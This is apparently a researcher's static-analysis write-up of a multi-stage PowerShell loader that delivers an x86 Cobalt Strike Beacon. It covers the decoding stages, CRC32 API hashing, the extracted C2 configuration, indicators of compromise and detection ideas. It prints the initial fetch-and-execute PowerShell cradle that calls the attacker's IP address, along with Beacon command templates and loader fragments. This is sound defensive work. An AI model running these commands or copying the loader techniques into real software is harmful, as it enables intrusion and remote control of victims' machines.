Static Analysis of a Multi-Stage Cobalt Strike Loader
PowerShell Loader and x86 Cobalt Strike Beacon
Authorship and AI Use Note
The investigation, artifact identification, formulation of findings, and technical interpretation of the results were performed by the author. AI was used in this report only for structuring, organization, textual review, and the initial implementation of Python scripts intended to extract and decode data used by the malware. The scripts, their results, and the technical content presented were reviewed and validated. Some technical explanations were also supplemented with AI.
Analysis Context This sample was collected in 2022. No actual infection occurred because the EDR installed on the user’s computer contained the threat at the very first command shown below. Nevertheless, I was able to capture the later stages of this execution and investigate the artifacts. A few days after collection, the C2 server was already offline.
Some investigation findings were omitted from this report to retain the most relevant points in this malware execution chain.
1. Summary
This report presents the results of the static analysis of a malicious chain initiated by a PowerShell command responsible for downloading and executing a second script directly in memory.
The first detection originated from the following command line:
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"
The content served by the remote address consisted of a PowerShell loader containing a Base64-encoded payload.
The hash is: 33a7648c64588e855b411fe9bcdb51489d4a33e4ab86705661049bb9b65ceddb
This loader uses .NET reflection to resolve native APIs, decodes the Base64 data through CryptStringToBinaryA, writes the content to an executable memory region, and transfers execution flow to the resulting shellcode.
The analysis made it possible to reconstruct the following chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Initial PowerShell command
↓
Download and execution of the PowerShell loader
↓
Base64 processed by CryptStringToBinaryA
↓
Initial x86 shellcode
↓
ROR decoding
↓
Stage 1 — Intermediate DLL
↓
API resolution through CRC32
↓
Decoding of embedded PE payload
↓
Stage 2 — Cobalt Strike Beacon
↓
Configuration decoded with XOR 0x2E
↓
HTTP communication with the C2 server
The final stage was identified as an x86 DLL compatible with Cobalt Strike Beacon, containing a reflective loader, HTTP communication configuration, process-injection routines, token manipulation, PowerShell execution, and service operations.
The configuration (which was extracted with a Python script) contains:
1
2
3
4
5
6
C2: 31.41.244.192
Port: 80
GET: /push
POST: /submit.php
Sleep: 60000 ms
Jitter: 0
No automatic persistence was identified during the initial flow analyzed. Some capabilities present in the Beacon, such as service creation and process injection, depend on commands subsequently received from the C2 server and should not be interpreted as behaviors executed automatically.
2. Scope and Methodology
2.1 Scope
This report covers static analysis exclusively:
- inspection of the PowerShell loader;
- extraction of the Base64 string;
- analysis of the initial shellcode;
- reconstruction of the decoding algorithms;
- extraction of both PE stages;
- analysis of headers, sections, imports, and exports;
- reverse engineering in IDA;
- API resolution through hashes;
- extraction of the Beacon configuration;
- identification of implemented capabilities.
The following are outside the scope of this report:
- debugging with x32dbg;
- controlled execution of the sample;
- runtime memory analysis;
- behavioral analysis;
- interaction with the C2 server;
- dynamic validation of tasking;
- complete decryption of the C2 protocol.
2.2 Tools Used
- IDA Free;
- Detect It Easy — DiE;
- PE-bear;
- CyberChef;
- Python 3;
- JupyterLab;
pefile;- Sublime Text;
- CobaltStrikeParser;
3. Infection Chain Overview
The chain begins with the following command:
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://31.41.244[.]192:80/645gkdkfgd'))"
The elements perform the following functions:
| Element | Function |
|---|---|
powershell.exe | Starts the PowerShell interpreter |
-nop | Prevents the user profile from being loaded |
-w hidden | Hides the PowerShell window |
-c | Executes the supplied command |
Net.WebClient | Creates an HTTP client |
DownloadString | Downloads the remote content as text |
IEX | Executes the downloaded content as PowerShell |
The remote address serves the PowerShell loader analyzed in the following sections.
4. PowerShell Loader Analysis
4.1 General Structure
You can click on the images to see more details in fullscreen
This artifact can be downloaded on VirusTotal (paid account) or Triage with a free account.
The script begins with:
1
Set-StrictMode -Version 2
It then defines the following functions:
1
2
func_get_proc
func_get_type
The func_get_proc function uses .NET reflection to access internal methods related to:
1
2
GetModuleHandle
GetProcAddress
This makes it possible to resolve native functions without explicitly declaring traditional P/Invoke (Platform Invoke) structures.
The func_get_type function dynamically creates a delegate with System.Reflection.Emit. This delegate is used to call native functions from the addresses obtained through GetProcAddress.
This mechanism allows the script to:
- locate an already loaded DLL;
- resolve an API by name;
- construct the function signature;
- convert the address into a delegate;
- invoke the API directly from PowerShell.
4.2 Base64 String Processing
The shellcode is stored in the following variable:
1
$var_base64 = '...'
The script loads:
1
crypt32.dll
and resolves the following function:
1
CryptStringToBinaryA
The flag used is:
1
0x1 = CRYPT_STRING_BASE64
Processing takes place in two calls.
First Call
1
2
3
4
5
6
7
8
9
10
11
$var_length = 0
$var_result = $var_string_to_binary.Invoke(
$var_base64,
$var_base64.Length,
0x1,
[IntPtr]::Zero,
[Ref]$var_length,
[IntPtr]::Zero,
[IntPtr]::Zero
)
Because the pointer intended to receive the bytes is set to null, the first call only calculates the size required to store the decoded Base64 content.
Memory Region Creation
The script resolves:
1
2
CreateFileMappingA
MapViewOfFile
and creates a mapped region with read, write, and execute permissions.
The value used in CreateFileMappingA is 0x08000040, which includes:
1
2
PAGE_EXECUTE_READWRITE
SEC_COMMIT
MapViewOfFile then returns the virtual address where the shellcode will be written.
Second Call
1
2
3
4
5
6
7
8
9
$var_result = $var_string_to_binary.Invoke(
$var_base64,
$var_base64.Length,
0x1,
$var_map,
[Ref]$var_length,
[IntPtr]::Zero,
[IntPtr]::Zero
)
This time, the address of the mapped region (named $var_map) is supplied as the output buffer, causing CryptStringToBinaryA to write the decoded bytes directly to it.
Execution Transfer
The memory address is converted into a delegate:
1
2
3
4
5
$var_invoke =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
$var_map,
(func_get_type @([IntPtr]) ([Void]))
)
The shellcode is executed with:
1
$var_invoke.Invoke($var_map)
The shellcode base address is also supplied as an argument to the code itself.
4.3 Architecture Selection
The script checks:
1
[IntPtr]::Size
When running in a 32-bit process, the content is executed directly.
In 64-bit processes, the script uses:
1
Start-Job -RunAs32
This indicates that the payload was created for the x86 architecture.
5. Base64 Shellcode Extraction
The script below automatically locates the $var_base64 variable and writes the decoded content to stage0_shellcode.bin.
Script 1 — Base64 Extraction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
import re
from pathlib import Path
INPUT_PS1 = Path("loader.ps1")
OUTPUT_BIN = Path("stage0_shellcode.bin")
text = INPUT_PS1.read_text(
encoding="utf-8",
errors="ignore"
)
match = re.search(
r"\$var_base64\s*=\s*'([^']+)'",
text,
flags=re.DOTALL,
)
if not match:
raise RuntimeError(
"The $var_base64 variable was not found."
)
base64_text = re.sub(
r"\s+",
"",
match.group(1)
)
decoded = base64.b64decode(
base64_text,
validate=True
)
OUTPUT_BIN.write_bytes(decoded)
# print("[+] Complete B64: ", base64_text) # Caution: very large string!
print(f"[+] Decoded file saved: {OUTPUT_BIN}")
print(f"[+] Size: {len(decoded)} bytes")
print(f"[+] First bytes: {decoded[:16].hex(' ')}")
The result does not begin with the 4D 5A signature, indicating that the initial content is raw shellcode rather than a directly loadable PE file.
6. Initial Shellcode and Stage 1 Extraction
6.1 Initial Decoder
The shellcode begins by retrieving its own base address:
1
mov eax, [esp+4]
It then accesses internal addresses relative to the base:
1
2
3
mov ecx, [eax+9Ch]
mov edx, [eax+0A0h]
lea esi, [eax+0A4h]
These fields are interpreted as follows:
| Offset | Function |
|---|---|
0x9C | Address of the key |
0xA0 | Address containing the encoded region size |
0xA4 | Address of the beginning of the encoded content |
The decoding loop is:
1
2
3
4
5
6
7
lodsb
and ecx, 7
ror al, cl
inc ecx
stosb
dec edx
jnz decoder_loop
The behavior can be represented as:
1
2
3
4
5
6
7
8
9
10
base = argument;
key = *(uint32_t *)(base + 0x9C);
size = *(uint32_t *)(base + 0xA0);
data = base + 0xA4;
for (i = 0; i < size; i++) {
data[i] = ror8(data[i], key & 7);
key++;
}
In other words, the code iterates over each data byte and rotates it to the right. The rotation count is obtained through key & 7, which simply limits the key value to a number between 0 and 7. The key is then incremented by 1 for each byte.
The operation is performed in place. After the loop, the region at base + 0xA4 begins with a valid PE header.
Script 2 — Stage 1 Decoding
The script below performs exactly the same operation as the shellcode: it supplies the offsets and then applies the rotations. Finally, it saves the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pathlib import Path
import struct
INPUT_FILE = Path("stage0_shellcode.bin")
OUTPUT_FILE = Path("stage1_decoded.bin")
KEY_OFFSET = 0x9C
SIZE_OFFSET = 0xA0
DATA_OFFSET = 0xA4
def ror8(value: int, count: int) -> int:
value &= 0xFF
count &= 7
if count == 0:
return value
return (
(value >> count) |
(value << (8 - count))
) & 0xFF
data = INPUT_FILE.read_bytes()
key = struct.unpack_from(
"<I",
data,
KEY_OFFSET
)[0]
size = struct.unpack_from(
"<I",
data,
SIZE_OFFSET
)[0]
if DATA_OFFSET + size > len(data):
raise RuntimeError(
"The encoded region extends beyond the end of the file."
)
decoded = bytearray(size)
current_key = key
for i in range(size):
decoded[i] = ror8(
data[DATA_OFFSET + i],
current_key & 7
)
current_key = (
current_key + 1
) & 0xFFFFFFFF
if decoded[:2] != b"MZ":
raise RuntimeError(
"The result does not have an MZ signature."
)
OUTPUT_FILE.write_bytes(decoded)
print(f"[+] Initial key: 0x{key:08X}")
print(f"[+] Size: 0x{size:X}")
print(f"[+] File saved: {OUTPUT_FILE}")
7. Stage 1 Analysis
7.1 Identification
| Field | Value | |
|---|---|---|
| File | stage1_decoded.bin | |
| SHA-256 | a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d | |
| Type | PE32 x86 DLL | |
| Internal name | a32big.dll | |
| ImageBase | 0x6B680000 | |
| Entry Point RVA | 0x13B0 | |
| Sections | 9 | |
| Size | 337920 bytes |
The timestamps found in the PE header should be treated with low confidence because they may have been altered during compilation or afterward.
7.2 Exports
The identified exports include:
1
2
3
4
5
6
ARef
DllGetClassObject
DllMain
DllRegisterServer
DllUnregisterServer
Start
The COM-related names may hinder immediate identification of the DLL’s actual purpose.
8. Dynamic API Resolution Through Hashes
8.1 Purpose of the Technique
Stage 1 avoids directly storing the names of several APIs it uses.
Instead of importing all functions normally, the code:
- loads a DLL with
LoadLibraryW; - locates its Export Directory;
- iterates through the exported names;
- calculates a hash for each name;
- compares the result with constants present in the binary;
- calls
GetProcAddresswhen it finds a match; - stores the resolved address for later use.
This technique reduces the amount of information available in the Import Table and makes automated identification of the sample’s capabilities more difficult.
8.2 Identified Algorithm
The resolver function uses reflected CRC32 with:
1
2
3
4
Polynomial: 0xEDB88320
Seed: 0xFFFFFFFF
Final XOR: not observed
Input: ASCII name of the exported function
The pseudocode is:
1
2
3
4
5
6
7
8
9
10
11
12
crc = 0xFFFFFFFF;
for each byte in export_name {
crc ^= byte;
for (i = 0; i < 8; i++) {
if (crc & 1)
crc = (crc >> 1) ^ 0xEDB88320;
else
crc >>= 1;
}
}
This polynomial is also observed in a Wikipedia example.
The comparison with the hardcoded value is direct:
1
if (target_hash == calculated_crc)
When a match occurs, the code calls GetProcAddress using the located export name.
8.3 Processed DLLs
Resolution blocks were identified for:
1
2
3
4
kernel32.dll
advapi32.dll
ws2_32.dll
wininet.dll
In IDA, some wide-character names were initially split incorrectly. For example, L"a" L"dvapi32.dll" together represented L"advapi32.dll".
Correctly defining the data as a UTF-16LE string made it possible to recover the complete name.
8.4 Reproducing the Algorithm in Python
The following code reproduces the malware’s algorithm:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def malware_crc32_name(name: bytes) -> int:
crc = 0xFFFFFFFF
for byte in name:
crc ^= byte
for _ in range(8):
if crc & 1:
crc = (
(crc >> 1) ^ 0xEDB88320
)
else:
crc >>= 1
crc &= 0xFFFFFFFF
return crc
The function below iterates through a DLL’s exports and searches for matches:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pefile
from pathlib import Path
def find_export_by_hash(
dll_path: Path,
target_hash: int
):
pe = pefile.PE(str(dll_path))
matches = []
for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if not export.name:
continue
calculated = malware_crc32_name(
export.name
)
if calculated == target_hash:
matches.append(
export.name.decode(
"ascii",
errors="replace"
)
)
return matches
Usage example:
1
2
3
4
5
6
7
8
9
for target_hash in kernel32_hashes:
matches = find_export_by_hash(
kernel32_path,
target_hash
)
print(
f"0x{target_hash:08X} -> {matches}"
)
8.5 Relevant APIs by Purpose
The complete hash list may contain dozens of entries. To preserve readability, the main body of the report presents only relevant groups.
| DLL | Examples of resolved APIs | Purpose |
|---|---|---|
kernel32.dll | CreateFileA/W, CreateFileMappingA/W, MapViewOfFile, CreateNamedPipe, ConnectNamedPipe, CloseHandle, OpenProcess, VirtualAlloc, VirtualProtect, CreateThread | Files, memory, processes, threads, and named pipes |
ws2_32.dll | WSAStartup, socket, connect, send, recv, closesocket | Socket communication |
wininet.dll | InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA, InternetReadFile, InternetCloseHandle | HTTP communication with the C2 server |
advapi32.dll | OpenSCManagerA/W, CreateServiceA/W, StartServiceA/W, DeleteService, CloseServiceHandle | Service operations |
A resolved API does not necessarily represent an executed API.
| Evidence | Permitted conclusion |
|---|---|
| Resolved hash | API available to the code |
| XREF to the pointer | API referenced by a routine |
| Identified call site | Implemented capability |
| Understood arguments | Probable or confirmed purpose |
| Observed execution | Behavior actually performed |
The complete
hash → APImapping is available in Appendix D.
9. Process Control and Anti-Analysis
A routine was identified that enumerates running processes and retrieves information about the parent process of the host process.
The helper function uses CreateToolhelp32Snapshot, Process32FirstW, and Process32NextW to locate the PROCESSENTRY32W structure corresponding to a supplied PID. In the calling flow, the th32ParentProcessID field from the current process entry is used to retrieve the parent process entry.
The routine:
- obtains the entry corresponding to the current process;
- extracts its
th32ParentProcessID; - locates the parent process in the snapshot;
- checks whether the parent name contains
powershell.exe; - also queries the parent process of that entry, that is, one additional generation in the process lineage;
- checks whether that ancestor contains
powershell.exe; - opens the selected processes with the
0x401access mask; - calls
TerminateProcesswhenOpenProcessreturns a valid handle; - finally, attempts to terminate the immediate parent process regardless of whether it matches
powershell.exe.
The access requested through OpenProcess includes PROCESS_TERMINATE and PROCESS_QUERY_INFORMATION (0x401)
The routine may remove the original launcher and interfere with tools that started PowerShell as a child process.
The most appropriate classification here may be “Process-tree cleanup or evasion with an anti-debugging effect.”
No explicit comparisons with names such as the following were observed:
1
2
3
x32dbg.exe
ollydbg.exe
windbg.exe
10. Stage 2 Extraction
The Stage 1 .data section stands out because it is very large, raising the suspicion that additional data may be decoded there. 
Investigating the beginning of this section revealed some interesting bytes: 
The marked items show bytes related to the “size” field, similarly to the value examined in the shellcode at the beginning of the chain, followed by a large sequence of bytes.
| Field | Value |
|---|---|
| Encoded VA | 0x6B68F054 |
| RVA | 0xF054 |
| Size | 0x33800 |
Searching for references to where this array is used revealed an extraction function. 
The algorithm used to recover Stage 2 is conceptually similar to the one observed during Stage 1 decoding. The difference is that this extractor does not use a key; the initial count is fixed at 1.
The code:
- allocates a memory region;
- iterates through
0x33800bytes; - applies
RORwith a variable count; - writes the result;
- transfers execution to the decoded content.
Script 3 — Stage 2 Extraction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pathlib import Path
import pefile
INPUT_FILE = Path("stage1_decoded.bin")
OUTPUT_FILE = Path("stage2_decoded.bin")
ENCODED_VA = 0x6B68F054
ENCODED_SIZE = 0x33800
INITIAL_COUNT = 1
def ror8(value: int, count: int) -> int:
value &= 0xFF
count &= 7
if count == 0:
return value
return (
(value >> count) |
(value << (8 - count))
) & 0xFF
data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))
rva = (
ENCODED_VA -
pe.OPTIONAL_HEADER.ImageBase
)
file_offset = pe.get_offset_from_rva(rva)
if file_offset + ENCODED_SIZE > len(data):
raise RuntimeError(
"The encoded region extends beyond the end of the file."
)
decoded = bytes(
ror8(
data[file_offset + i],
(INITIAL_COUNT + i) & 7
)
for i in range(ENCODED_SIZE)
)
if decoded[:2] != b"MZ":
raise RuntimeError(
"The result does not have an MZ signature."
)
OUTPUT_FILE.write_bytes(decoded)
print(f"[+] RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] Size: 0x{len(decoded):X}")
print(f"[+] File saved: {OUTPUT_FILE}")
To consolidate the analysis so far, Stage 1:
1) Is a DLL internally identified as a32big.dll.
2) It acts as a loader for the next stage.
3) Contains routines for dynamic API resolution.
4) Decodes Stage 2 with ROR.
11. Stage 2 Analysis
11.1 Identification
| Field | Value | |
|---|---|---|
| File | stage2_decoded.bin | |
| SHA-256 | 6318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757 | |
| Type | PE32 x86 DLL | |
| Internal name | beacon.dll | |
| Export | _ReflectiveLoader@4 | |
| ImageBase | 0x10000000 | |
| Entry Point RVA | 0x1627A | |
| Sections | 4 | |
| Size | 210944 bytes |
The presence of:
1
2
beacon.dll
_ReflectiveLoader@4
combined with the configuration structure and the identified capabilities is compatible with an x86 Cobalt Strike Beacon.
12. Beacon/C2 Configuration Decoding
A function was identified that performs an XOR operation on a 4096-byte array at:
1
2
VA: 0x10032020
RVA: 0x32020
The first routine that uses the array executes:
1
2
for (i = 0; i < 4096; i++)
array[i] ^= 0x2E;
Therefore, another Python script is required to perform the same decoding operation as the malware.
Script 4 — Configuration Extraction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re
from pathlib import Path
import pefile
INPUT_FILE = Path("stage2_decoded.bin")
OUTPUT_FILE = Path("config_decoded.bin")
CONFIG_VA = 0x10032020
CONFIG_SIZE = 0x1000
XOR_KEY = 0x2E
# Minimum number of characters required to treat a sequence as a string.
MIN_STRING_LENGTH = 3
def extract_ascii_strings(
data: bytes,
minimum_length: int = 3,
) -> list[str]:
pattern = rb"[\x20-\x7E]{%d,}" % minimum_length
return [
match.decode("ascii")
for match in re.findall(pattern, data)
]
data = INPUT_FILE.read_bytes()
pe = pefile.PE(str(INPUT_FILE))
rva = (
CONFIG_VA -
pe.OPTIONAL_HEADER.ImageBase
)
file_offset = pe.get_offset_from_rva(rva)
if file_offset + CONFIG_SIZE > len(data):
raise RuntimeError(
"The configuration extends beyond the end of the file."
)
encoded = data[
file_offset:
file_offset + CONFIG_SIZE
]
decoded = bytes(
byte ^ XOR_KEY
for byte in encoded
)
OUTPUT_FILE.write_bytes(decoded)
print(f"[+] Config RVA: 0x{rva:X}")
print(f"[+] File offset: 0x{file_offset:X}")
print(f"[+] File saved: {OUTPUT_FILE}")
ascii_strings = extract_ascii_strings(
decoded,
MIN_STRING_LENGTH,
)
print("\n[+] ASCII strings found:")
if ascii_strings:
for string in ascii_strings:
print(f" {string}")
else:
print(" No ASCII strings found.")
The result is a binary structure rather than a single string. Therefore, it contains:
- null bytes;
- field IDs;
- types;
- sizes;
- integers;
- strings;
- binary buffers.
For readability, the result was filtered to strings with a minimum length of 3:
13. Extracted Configuration
To further understand the Beacon configuration, the CobaltStrikeParser project was used, which attempts to go beyond readable strings. When config_decoded.bin was supplied as an argument, the script provided some additional details (filtered list):
| Field | Value |
|---|---|
| Protocol | HTTP |
| C2 | 31.41.244.192 |
| Port | 80 |
| Sleep | 60000 ms |
| Jitter | 0 |
| URI GET | /push |
| URI POST | /submit.php |
| GET verb | GET |
| POST verb | POST |
| User-Agent | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) |
| Metadata header | Cookie |
| Content-Type | application/octet-stream |
| Spawn-to x86 | %windir%\syswow64\rundll32.exe |
| Spawn-to x64 | %windir%\sysnative\rundll32.exe |
| Watermark | 1580103824 |
| ProcInject_Execute | CreateThread, SetThreadContext, CreateRemoteThread, RtlCreateUserThread |
| ProcInject_AllocationMethod | VirtualAllocEx |
14. C2 Communication
Stage 2 uses WININET.dll APIs compatible with:
1
2
3
4
5
6
7
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
InternetQueryDataAvailable
InternetReadFile
InternetCloseHandle
The flow can be summarized as:
1
2
3
4
5
6
7
InternetOpenA(User-Agent)
↓
InternetConnectA(31.41.244.192, 80)
↓
HttpOpenRequestA(GET, /push)
↓
Task retrieval
Data transmission uses:
1
2
3
4
5
HttpOpenRequestA(POST, /submit.php)
↓
Content-Type: application/octet-stream
↓
HttpSendRequestA
The configuration also indicates that the metadata is:
- processed by the Beacon;
- encoded in Base64;
- inserted into the
Cookieheader.
The conclusions in this section are derived from the decoded configuration and the static flow of the WinINet routines.
15. Stage 2 Capabilities
15.1 Process Injection
APIs such as the following were identified:
1
2
3
4
5
6
7
8
9
10
VirtualAllocEx
WriteProcessMemory
VirtualProtectEx
CreateRemoteThread
GetThreadContext
SetThreadContext
ResumeThread
RtlCreateUserThread
NtQueueApcThread
NtMapViewOfSection
These functions demonstrate support for multiple process-injection and execution techniques.
Static analysis of the routines does not identify which process would be selected as the target.
15.2 Token Manipulation
References to the following were identified:
1
2
3
4
5
6
7
8
9
10
OpenProcessToken
OpenThreadToken
AdjustTokenPrivileges
DuplicateTokenEx
LogonUserA
ImpersonateNamedPipeClient
ImpersonateLoggedOnUser
CreateProcessWithTokenW
CreateProcessWithLogonW
CreateProcessAsUserA
There are also references to:
1
2
3
SeDebugPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
These capabilities allow:
- privilege enablement;
- token duplication;
- impersonation;
- execution with alternative credentials.
15.3 Services
The Beacon contains routines for:
1
2
3
4
5
6
OpenSCManager
CreateService
StartService
QueryServiceStatus
DeleteService
CloseServiceHandle
These capabilities are compatible with:
- remote execution;
- lateral movement;
- temporary service creation;
- payload execution through a service.
The analysis did not confirm that the initial flow creates a persistent service.
15.4 PowerShell Execution and Strings
In Stage 2, templates such as powershell -nop -exec bypass -EncodedCommand "%s" and IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') were identified.
These strings demonstrate support for PowerShell execution after tasking is received.
Some privilege-related APIs were also found: 
15.5 SHA-256
Stage 2 contains a complete implementation of the SHA-256 algorithm:
- standard constants;
- context initialization;
- block processing;
- finalization;
- known test vectors.
The presence of this implementation does not, by itself, prove that it is responsible for C2 channel encryption or configuration decoding.
16. Persistence
No strong static indicators of automatic persistence through Run / RunOnce, Scheduled Tasks, WMI, Startup Folder, COM Hijacking, or DLL Search Order Hijacking were found.
Service functionality may be triggered through tasking, but its presence in the binary does not demonstrate that a service is created during the initial infection.
Conclusion:
Automatic persistence was not confirmed within the scope of this analysis.
17. Anti-Analysis Techniques
| Technique | Evidence | Assessment |
|---|---|---|
| Base64 payload | String in PowerShell | Confirmed |
| In-memory execution | File mapping and delegate | Confirmed |
| Stage 1 ROR decoder | Loop in the shellcode | Confirmed |
| Stage 2 ROR decoder | Loop in the intermediate DLL | Confirmed |
| API hashing | CRC32 over exports | Confirmed |
| Obfuscated configuration | XOR 0x2E | Confirmed |
| Reflective loading | _ReflectiveLoader@4 | Confirmed |
| Parent-process termination | Toolhelp, OpenProcess, and TerminateProcess | Confirmed |
APIs such as IsDebuggerPresent, DebugBreak, RaiseException, and SetUnhandledExceptionFilter appear in Stage 2, but their uses are compatible with MSVC runtime components. They should not automatically be classified as custom anti-debugging mechanisms.
18. Indicators of Compromise
18.1 Infrastructure
| Type | Value |
|---|---|
| IP | 31.41.244.192 |
| Port | 80 |
| Initial URL | http://31.41.244.192:80/645gkdkfgd |
| GET URI | /push |
| POST URI | /submit.php |
18.2 User-Agent
1
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
18.3 Artifacts
| Artifact | Hash |
|---|---|
| Stage 1 SHA-256 | a41dde7d2733cf4f8c057a188fb5bce82f085b7972aeaa23b5ddb0ef71c1988d |
| Stage 2 SHA-256 | 6318e322c478adefa9b4a16166c3d05201153b5cbd1f2e21327300abdeb5a757 |
18.4 Other Indicators
1
2
3
4
5
6
9K8J7HG65F467j
a32big.dll
beacon.dll
_ReflectiveLoader@4
%windir%\syswow64\rundll32.exe
%windir%\sysnative\rundll32.exe
19. Detection Opportunities
19.1 PowerShell
Monitor command lines containing combinations such as:
1
2
3
4
5
6
powershell.exe
-nop
-w hidden
IEX
Net.WebClient
DownloadString
19.2 Memory
Monitor PowerShell processes that:
- resolve
CryptStringToBinaryA; - create executable file mappings;
- map regions with write and execute permissions;
- convert pointers into delegates;
- transfer execution to private memory.
19.3 Network
Monitor:
1
2
3
31.41.244.192:80
GET /push
POST /submit.php
The old and unusual User-Agent may also be used as a supplementary indicator.
19.4 Behavior
Correlate:
1
2
3
4
5
6
7
PowerShell
→ DownloadString
→ in-memory execution
→ executable file mapping
→ parent-process termination
→ reflective loading
→ WinINet communication
20. Conclusion
The analyzed chain uses PowerShell as the initial download and in-memory execution mechanism.
The loader avoids explicit P/Invoke declarations through .NET reflection, processes a Base64 payload with CryptStringToBinaryA, and writes the resulting shellcode to an executable memory region.
The initial shellcode recovers an x86 DLL through a bit-rotation-based decoder. This DLL acts as an intermediate loader, resolves APIs through CRC32, implements process-tree control mechanisms, and extracts a second embedded PE file.
The second stage was identified as an x86 Cobalt Strike Beacon. Its configuration was recovered through XOR 0x2E and revealed HTTP communication with:
1
2
3
31.41.244.192:80
GET /push
POST /submit.php
The Beacon implements capabilities for:
- remote execution;
- process injection;
- token manipulation;
- PowerShell execution;
- service operations;
- HTTP C2 communication.
The analysis did not confirm automatic persistence or the actual execution of every capability present. These functions should be interpreted as resources available to the operator after communication with the C2 server is established.
Appendix A — Produced Files
1
2
3
4
5
loader.ps1
stage0_shellcode.bin
stage1_decoded.bin
stage2_decoded.bin
config_decoded.bin
Appendix B — Algorithm Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Stage 0:
CryptStringToBinaryA / base64
Stage 1:
ROR8 per byte
Count = incremental key & 7
Stage 2:
ROR8 per byte
Count = (1 + index) & 7
Decoding into a new RWX region
Execution through the base address of the recovered region
Configuration:
XOR each byte with 0x2E
API hashing:
Reflected CRC32
Polynomial 0xEDB88320
Seed 0xFFFFFFFF
No final XOR observed
Appendix C — Summarized Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
powershell.exe
|
| DownloadString + IEX
v
loader.ps1
|
| CryptStringToBinaryA
v
stage0_shellcode.bin
|
| ROR decoder
v
stage1_decoded.bin
|
| API hashing / process control / ROR
v
stage2_decoded.bin
|
| ReflectiveLoader / XOR config
v
Cobalt Strike Beacon
|
| HTTP
v
31.41.244.192:80
Appendix D — Complete API Hash Mapping
kernel32.dll
| Hash CRC32 | API resolvida |
|---|---|
0x007F73EF | CreateRemoteThread |
0x0394BD0E | GetModuleFileNameW |
0x05C2D077 | FlushFileBuffers |
0x06EE1D63 | HeapDestroy |
0x083851BD | ReadProcessMemory |
0x0AB29637 | CopyFileW |
0x0AE688F8 | Thread32Next |
0x0B635934 | PeekNamedPipe |
0x1038158B | SetFilePointer |
0x1704C494 | FreeEnvironmentStringsA |
0x17A15D18 | WriteConsoleW |
0x17F91E53 | LeaveCriticalSection |
0x19D17DB2 | VirtualAllocEx |
0x1C812D1E | InitializeCriticalSectionAndSpinCount |
0x1DE0986E | DuplicateHandle |
0x1FA744BA | WaitForSingleObject |
0x20200D0B | OutputDebugStringW |
0x207889B5 | GetVersionExA |
0x20D8AEB4 | OpenProcess |
0x21600F2E | MoveFileA |
0x22041FCB | SetLastError |
0x231ACDD9 | GetFileType |
0x24279339 | CompareStringA |
0x25227614 | GetStdHandle |
0x2582BE79 | SetEnvironmentVariableW |
0x2597DC70 | FreeLibrary |
0x264DFB6B | GetCommandLineW |
0x27D40965 | FindClose |
0x27FA4E5D | ReadConsoleA |
0x288801BB | GetACP |
0x296DC854 | GetFullPathNameW |
0x2A3CA097 | SetStdHandle |
0x2D1AC948 | GetLastError |
0x2DC506A1 | DecodePointer |
0x2E1B9C17 | TlsGetValue |
0x2F79E55B | GetCurrentProcess |
0x310D1257 | Sleep |
0x32AA51AB | GetConsoleCP |
0x32AC0A22 | VirtualFree |
0x3316A9ED | WriteFile |
0x347BE5AB | SetUnhandledExceptionFilter |
0x34EAF723 | LoadLibraryW |
0x35F56674 | AreFileApisANSI |
0x36142A31 | FindFirstFileA |
0x3683E000 | GetProcAddress |
0x38623B1C | GetCurrentDirectoryA |
0x38CE4F40 | RemoveDirectoryW |
0x3B4B56B2 | GetFileAttributesW |
0x3E0C4789 | CreateToolhelp32Snapshot |
0x3E19300A | GetEnvironmentStringsW |
0x43949840 | Process32NextW |
0x43F291E1 | IsProcessorFeaturePresent |
0x4505FC28 | SetHandleCount |
0x457C3B09 | GetComputerNameA |
0x47AB7900 | OpenThread |
0x49C0EE61 | WaitNamedPipeW |
0x4BE46D93 | CreateFileMappingA |
0x4DF59A83 | GetModuleHandleExA |
0x4E799A8F | GetModuleHandleA |
0x4E7D2056 | HeapCreate |
0x4EACF3C1 | GetOEMCP |
0x4F091756 | HeapFree |
0x4F6CEA0B | CloseHandle |
0x5199F0B9 | UpdateProcThreadAttribute |
0x521D346A | GetStartupInfoA |
0x52A94FBD | QueryPerformanceCounter |
